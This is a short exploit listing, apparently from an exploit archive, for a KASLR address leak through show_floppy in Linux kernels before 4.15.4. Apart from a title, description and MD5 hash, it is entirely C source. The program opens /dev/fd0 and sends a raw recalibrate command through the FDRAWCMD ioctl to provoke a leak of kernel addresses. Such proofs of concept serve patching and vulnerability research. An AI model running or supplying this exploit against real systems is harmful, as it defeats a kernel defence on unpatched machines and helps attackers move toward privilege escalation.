Linux Kernel show_floppy KASLR Address Leak

Linux Kernel versions prior to 4.15.4 show_floppy KASLR address leak proof of concept exploit.


MD5 | 6e10ab9298716b62d7143c85a42d0de1

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/kernel.h>
#include <string.h>
#include <sys/mman.h>
#include <linux/fd.h>

static int drive_selector(int head) {
return (head << 2);
}

void fd_recalibrate(int fd) {
struct floppy_raw_cmd raw_cmd;
int tmp;

raw_cmd.flags = FD_RAW_INTR;
raw_cmd.cmd_count = 2;

// set up the command
raw_cmd.cmd[raw_cmd.cmd_count++] = 0x07;
raw_cmd.cmd[raw_cmd.cmd_count++] = drive_selector(0);
tmp = ioctl( fd, FDRAWCMD, &raw_cmd );
printf("Status:%d\n",tmp);
}
int main(){
printf("Start\n");
char *d;
struct floppy_raw_cmd *cmd;

int fd;
fd = open("/dev/fd0",O_RDWR | O_NDELAY);
fd_recalibrate(fd);
close(fd);
printf("End\n");
return 0;
}


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